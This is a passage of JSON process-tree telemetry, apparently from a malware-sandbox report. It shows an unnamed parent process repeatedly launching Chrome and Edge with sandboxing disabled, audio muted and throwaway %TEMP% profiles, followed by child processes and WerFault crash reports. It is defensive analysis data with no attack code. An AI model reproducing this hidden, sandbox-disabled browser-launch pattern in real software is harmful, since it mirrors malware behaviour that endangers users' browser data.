--initial-client-data=0x214,0x218,0x21c,0x1f0,0x220,0x7ff9fbbe0068,0x7ff9fbbe0074,0x7ff9fbbe0080","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00004708","uid":"00000000-00008004"},{"pid":1992,"ppid":4708,"name":"WerFault.exe","command_line":"-u -p 4708 -s 1676","sha256":"97448c6ae59a389e0aec5c62ccef112be44d5f648568680dc83962102f8475af","normalized_path":"%WINDIR%\\system32\\WerFault.exe","parent_uid":"00000000-00004708","uid":"00000000-00001992"},{"pid":2604,"ppid":3580,"name":"chrome.exe","command_line":"--no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir=\"%TEMP%\\f5wktkk0.q4r\"","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00003580","uid":"00000000-00002604"},{"pid":1800,"ppid":2604,"name":"chrome.exe","command_line":"--type=crashpad-handler --user-data-dir=%TEMP%\\f5wktkk0.q4r /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=%TEMP%\\f5wktkk0.q4r\\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=144.0.7559.133 --initial-client-data=0x214,0x218,0x21c,0x1f0,0x220,0x7ff9fbbe0068,0x7ff9fbbe0074,0x7ff9fbbe0080","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00002604","uid":"00000000-00001800"},{"pid":1584,"ppid":1800,"name":"WerFault.exe","command_line":"-u -p 1800 -s 956","sha256":"97448c6ae59a389e0aec5c62ccef112be44d5f648568680dc83962102f8475af","normalized_path":"%WINDIR%\\system32\\WerFault.exe","parent_uid":"00000000-00001800","uid":"00000000-00001584"},{"pid":6724,"ppid":2604,"name":"chrome.exe","command_line":"--type=gpu-process --no-sandbox --user-data-dir=\"%TEMP%\\f5wktkk0.q4r\" --no-pre-read-main-dll --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=d3d11-warp-webgl --metrics-shmem-handle=1732,i,13921240666280416689,17538834339891673450,262144 --field-trial-handle=2384,i,1163426401811861108,13474762737272150457,262144 --variations-seed-version=20260130-010011.354000 --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=2380 /prefetch:2","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00002604","uid":"00000000-00006724"},{"pid":4404,"ppid":2604,"name":"chrome.exe","command_line":"--type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir=\"%TEMP%\\f5wktkk0.q4r\" --no-pre-read-main-dll --metrics-shmem-handle=1884,i,1387837674876734867,13141535226512482275,524288 --field-trial-handle=2384,i,1163426401811861108,13474762737272150457,262144 --variations-seed-version=20260130-010011.354000 --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=3148 /prefetch:3","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00002604","uid":"00000000-00004404"},{"pid":7404,"ppid":2604,"name":"chrome.exe","command_line":"--type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir=\"%TEMP%\\f5wktkk0.q4r\" --no-pre-read-main-dll --metrics-shmem-handle=2024,i,15769088885823705454,6004807194003041862,524288 --field-trial-handle=2384,i,1163426401811861108,13474762737272150457,262144 --variations-seed-version=20260130-010011.354000 --trace-process-track-uuid=3190708990060038890 --mojo-platform-channel-handle=3748 /prefetch:8","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00002604","uid":"00000000-00007404"},{"pid":5456,"ppid":2604,"name":"chrome.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\f5wktkk0.q4r\" --no-pre-read-main-dll --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --time-ticks-at-unix-epoch=-1793376268356509 --launch-time-ticks=1825853062 --metrics-shmem-handle=2684,i,14547719644391190272,14672157316801750292,2097152 --field-trial-handle=2384,i,1163426401811861108,13474762737272150457,262144 --variations-seed-version=20260130-010011.354000 --trace-process-track-uuid=3190708991934122588 --mojo-platform-channel-handle=3232 /prefetch:1","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00002604","uid":"00000000-00005456"},{"pid":4628,"ppid":3580,"name":"chrome.exe","command_line":"--no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir=\"%TEMP%\\on4r0r45.jqv\"","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00003580","uid":"00000000-00004628"},{"pid":4328,"ppid":4628,"name":"chrome.exe","command_line":"--type=crashpad-handler --user-data-dir=%TEMP%\\on4r0r45.jqv /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=%TEMP%\\on4r0r45.jqv\\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=144.0.7559.133 --initial-client-data=0x214,0x218,0x21c,0x1f0,0x220,0x7ff9fbbe0068,0x7ff9fbbe0074,0x7ff9fbbe0080","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00004628","uid":"00000000-00004328"},{"pid":7984,"ppid":4328,"name":"WerFault.exe","command_line":"-u -p 4328 -s 972","sha256":"97448c6ae59a389e0aec5c62ccef112be44d5f648568680dc83962102f8475af","normalized_path":"%WINDIR%\\system32\\WerFault.exe","parent_uid":"00000000-00004328","uid":"00000000-00007984"},{"pid":7528,"ppid":4628,"name":"chrome.exe","command_line":"--type=gpu-process --no-sandbox --user-data-dir=\"%TEMP%\\on4r0r45.jqv\" --no-pre-read-main-dll --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=d3d11-warp-webgl --metrics-shmem-handle=1752,i,14342423244091391252,4563384965008354327,262144 --field-trial-handle=2368,i,6451832767221809201,3293233238210544212,262144 --variations-seed-version=20260130-010011.354000 --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=2352 /prefetch:2","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00004628","uid":"00000000-00007528"},{"pid":5780,"ppid":4628,"name":"chrome.exe","command_line":"--type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir=\"%TEMP%\\on4r0r45.jqv\" --no-pre-read-main-dll --metrics-shmem-handle=1916,i,14794174453980158259,10862178760582025400,524288 --field-trial-handle=2368,i,6451832767221809201,3293233238210544212,262144 --variations-seed-version=20260130-010011.354000 --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=2980 /prefetch:3","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00004628","uid":"00000000-00005780"},{"pid":5496,"ppid":4628,"name":"chrome.exe","command_line":"--type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir=\"%TEMP%\\on4r0r45.jqv\" --no-pre-read-main-dll --metrics-shmem-handle=2012,i,6119402678915781874,5635057989865616828,524288 --field-trial-handle=2368,i,6451832767221809201,3293233238210544212,262144 --variations-seed-version=20260130-010011.354000 --trace-process-track-uuid=3190708990060038890 --mojo-platform-channel-handle=3760 /prefetch:8","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00004628","uid":"00000000-00005496"},{"pid":7548,"ppid":4628,"name":"chrome.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\on4r0r45.jqv\" --no-pre-read-main-dll --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --time-ticks-at-unix-epoch=-1793376697933559 --launch-time-ticks=1829017761 --metrics-shmem-handle=2664,i,7156530303630637014,929686531607847678,2097152 --field-trial-handle=2368,i,6451832767221809201,3293233238210544212,262144 --variations-seed-version=20260130-010011.354000 --trace-process-track-uuid=3190708990997080739 --mojo-platform-channel-handle=3876 /prefetch:1","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00004628","uid":"00000000-00007548"},{"pid":6784,"ppid":4628,"name":"chrome.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\on4r0r45.jqv\" --no-pre-read-main-dll --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --time-ticks-at-unix-epoch=-1793376697933559 --launch-time-ticks=1829264420 --metrics-shmem-handle=3172,i,7880573116514754817,10701511047298178254,2097152 --field-trial-handle=2368,i,6451832767221809201,3293233238210544212,262144 --variations-seed-version=20260130-010011.354000 --trace-process-track-uuid=3190708992871164437 --mojo-platform-channel-handle=4024 /prefetch:1","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00004628","uid":"00000000-00006784"},{"pid":6632,"ppid":3580,"name":"chrome.exe","command_line":"--no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir=\"%TEMP%\\ig31vmln.dkr\"","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00003580","uid":"00000000-00006632"},{"pid":7596,"ppid":6632,"name":"chrome.exe","command_line":"--type=crashpad-handler --user-data-dir=%TEMP%\\ig31vmln.dkr /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=%TEMP%\\ig31vmln.dkr\\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=144.0.7559.133 --initial-client-data=0x218,0x21c,0x220,0x1f4,0x224,0x7ff9fbbe0068,0x7ff9fbbe0074,0x7ff9fbbe0080","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00006632","uid":"00000000-00007596"},{"pid":2508,"ppid":6632,"name":"WerFault.exe","command_line":"-u -p 6632 -s 1104","sha256":"97448c6ae59a389e0aec5c62ccef112be44d5f648568680dc83962102f8475af","normalized_path":"%WINDIR%\\system32\\WerFault.exe","parent_uid":"00000000-00006632","uid":"00000000-00002508"},{"pid":5508,"ppid":3580,"name":"msedge.exe","command_line":"--no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir=\"%TEMP%\\ttjewa1q.4zy\"","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00003580","uid":"00000000-00005508"},{"pid":3568,"ppid":5508,"name":"WerFault.exe","command_line":"-u -p 5508 -s 1020","sha256":"97448c6ae59a389e0aec5c62ccef112be44d5f648568680dc83962102f8475af","normalized_path":"%WINDIR%\\system32\\WerFault.exe","parent_uid":"00000000-00005508","uid":"00000000-00003568"},{"pid":4744,"ppid":5508,"name":"msedge.exe","command_line":"--type=crashpad-handler --user-data-dir=%TEMP%\\ttjewa1q.4zy /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=%TEMP%\\ttjewa1q.4zy\\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=145.0.7632.76 \"--annotation=exe=%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe\" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=145.0.3800.58 --initial-client-data=0x3b0,0x3b4,0x3b8,0x3a8,0x3f0,0x7ff9cd450f18,0x7ff9cd450f24,0x7ff9cd450f30","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00005508","uid":"00000000-00004744"},{"pid":7016,"ppid":3580,"name":"chrome.exe","command_line":"--no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir=\"%TEMP%\\kijpyutn.su0\"","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00003580","uid":"00000000-00007016"},{"pid":100,"ppid":7016,"name":"chrome.exe","command_line":"--type=crashpad-handler --user-data-dir=%TEMP%\\kijpyutn.su0 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=%TEMP%\\kijpyutn.su0\\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=144.0.7559.133 --initial-client-data=0x214,0x218,0x21c,0x1f0,0x220,0x7ff9fbbe0068,0x7ff9fbbe0074,0x7ff9fbbe0080","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00007016","uid":"00000000-00000100"},{"pid":7468,"ppid":3580,"name":"chrome.exe","command_line":"--no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir=\"%TEMP%\\fejuwwkd.xf2\"","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00003580","uid":"00000000-00007468"},{"pid":8212,"ppid":7468,"name":"chrome.exe","command_line":"--type=gpu-process --no-sandbox --user-data-dir=\"%TEMP%\\fejuwwkd.xf2\" --no-pre-read-main-dll --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=d3d11-warp-webgl --metrics-shmem-handle=1728,i,11736939727855064925,3201273949578312207,262144 --field-trial-handle=2276,i,16147689771330385832,15741381560987024160,262144 --variations-seed-version=20260130-010011.354000 --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=2272 /prefetch:2","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00007468","uid":"00000000-00008212"},{"pid":8240,"ppid":7468,"name":"chrome.exe","command_line":"--type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir=\"%TEMP%\\fejuwwkd.xf2\" --no-pre-read-main-dll --metrics-shmem-handle=1984,i,10636258320744119869,10704475193844668327,524288 --field-trial-handle=2276,i,16147689771330385832,15741381560987024160,262144 --variations-seed-version=20260130-010011.354000 --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=3136 /prefetch:3","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00007468","uid":"00000000-00008240"},{"pid":8256,"ppid":7468,"name":"chrome.exe","command_line":"--type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir=\"%TEMP%\\fejuwwkd.xf2\" --no-pre-read-main-dll --metrics-shmem-handle=2052,i,2499504209280803180,18086893742317176583,524288 --field-trial-handle=2276,i,16147689771330385832,15741381560987024160,262144 --variations-seed-version=20260130-010011.354000 --trace-process-track-uuid=3190708990060038890 --mojo-platform-channel-handle=3452 /prefetch:8","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00007468","uid":"00000000-00008256"},{"pid":8316,"ppid":7468,"name":"chrome.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\fejuwwkd.xf2\" --no-pre-read-main-dll --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --time-ticks-at-unix-epoch=-1793377889613960 --launch-time-ticks=1837936148 --metrics-shmem-handle=2700,i,13496254276484215938,11523336638685170531,2097152 --field-trial-handle=2276,i,16147689771330385832,15741381560987024160,262144 --variations-seed-version=20260130-010011.354000 --trace-process-track-uuid=3190708991934122588 --mojo-platform-channel-handle=3876 /prefetch:1","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00007468","uid":"00000000-00008316"},{"pid":8332,"ppid":7468,"name":"chrome.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\fejuwwkd.xf2\" --no-pre-read-main-dll --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --time-ticks-at-unix-epoch=-1793377889613960 --launch-time-ticks=1838097465 --metrics-shmem-handle=2708,i,17552041952636296729,15899537345093831825,2097152 --field-trial-handle=2276,i,16147689771330385832,15741381560987024160,262144 --variations-seed-version=20260130-010011.354000 --trace-process-track-uuid=3190708990997080739 --mojo-platform-channel-handle=4020 /prefetch:1","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00007468","uid":"00000000-00008332"},{"pid":8428,"ppid":7468,"name":"chrome.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\fejuwwkd.xf2\" --no-pre-read-main-dll --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --time-ticks-at-unix-epoch=-1793377889613960 --launch-time-ticks=1838350903 --metrics-shmem-handle=3224,i,7420034795972748263,6128500264227729425,2097152 --field-trial-handle=2276,i,16147689771330385832,15741381560987024160,262144 --variations-seed-version=20260130-010011.354000 --trace-process-track-uuid=3190708992871164437 --mojo-platform-channel-handle=4016 /prefetch:1","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00007468","uid":"00000000-00008428"},{"pid":8492,"ppid":7468,"name":"chrome.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\fejuwwkd.xf2\" --extension-process --no-pre-read-main-dll --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --time-ticks-at-unix-epoch=-1793377889613960 --launch-time-ticks=1838568139 --metrics-shmem-handle=3232,i,526076519489397705,15380842888804107489,2097152 --field-trial-handle=2276,i,16147689771330385832,15741381560987024160,262144 --variations-seed-version=20260130-010011.354000 --trace-process-track-uuid=3190708993808206286 --mojo-platform-channel-handle=4048 /prefetch:2","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00007468","uid":"00000000-00008492"},{"pid":8604,"ppid":7468,"name":"chrome.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\fejuwwkd.xf2\" --extension-process --no-pre-read-main-dll --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --time-ticks-at-unix-epoch=-1793377889613960 --launch-time-ticks=1838931458 --metrics-shmem-handle=3580,i,15219272663556884215,5544185347341808600,2097152 --field-trial-handle=2276,i,16147689771330385832,15741381560987024160,262144 --variations-seed-version=20260130-010011.354000 --trace-process-track-uuid=3190708994745248135 --mojo-platform-channel-handle=4156 /prefetch:2","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00007468","uid":"00000000-00008604"},{"pid":8232,"ppid":3580,"name":"msedge.exe","command_line":"--no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir=\"%TEMP%\\ntybjdjj.ay4\"","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00003580","uid":"00000000-00008232"},{"pid":8544,"ppid":8232,"name":"msedge.exe","command_line":"--type=crashpad-handler --user-data-dir=%TEMP%\\ntybjdjj.ay4 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=%TEMP%\\ntybjdjj.ay4\\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=145.0.7632.76 \"--annotation=exe=%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe\" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=145.0.3800.58 --initial-client-data=0x260,0x264,0x268,0x23c,0x274,0x7ff9cd450f18,0x7ff9cd450f24,0x7ff9cd450f30","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00008232","uid":"00000000-00008544"},{"pid":8932,"ppid":8232,"name":"WerFault.exe","command_line":"-u -p 8232 -s 2292","sha256":"97448c6ae59a389e0aec5c62ccef112be44d5f648568680dc83962102f8475af","normalized_path":"%WINDIR%\\system32\\WerFault.exe","parent_uid":"00000000-00008232","uid":"00000000-00008932"},{"pid":8944,"ppid":3580,"name":"msedge.exe","command_line":"--no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir=\"%TEMP%\\cycgrk3g.0lo\"","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00003580","uid":"00000000-00008944"},{"pid":6216,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 480 -p 6764 -ip 6764","sha256":"97448c6ae59a389e0aec5c62ccef112be44d5f648568680dc83962102f8475af","normalized_path":"%WINDIR%\\system32\\WerFault.exe","uid":"00000000-00006216","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAA6UgIhRBPKvFtlTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50refsbU/OstCIAAAAASUVORK5CYII="},{"pid":7364,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 480 -p 440 -ip 440","sha256":"97448c6ae59a389e0aec5c62ccef112be44d5f648568680dc83962102f8475af","normalized_path":"%WINDIR%\\system32\\WerFault.exe","uid":"00000000-00007364","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAA6UgIhRBPKvFtlTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50refsbU/OstCIAAAAASUVORK5CYII="},{"pid":6744,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 536 -p 7976 -ip 7976","sha256":"97448c6ae59a389e0aec5c62ccef112be44d5f648568680dc83962102f8475af","normalized_path":"%WINDIR%\\system32\\WerFault.exe","uid":"00000000-00006744","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAA6UgIhRBPKvFtlTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50refsbU/OstCIAAAAASUVORK5CYII="},{"pid":6316,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 476 -p 1812 -ip 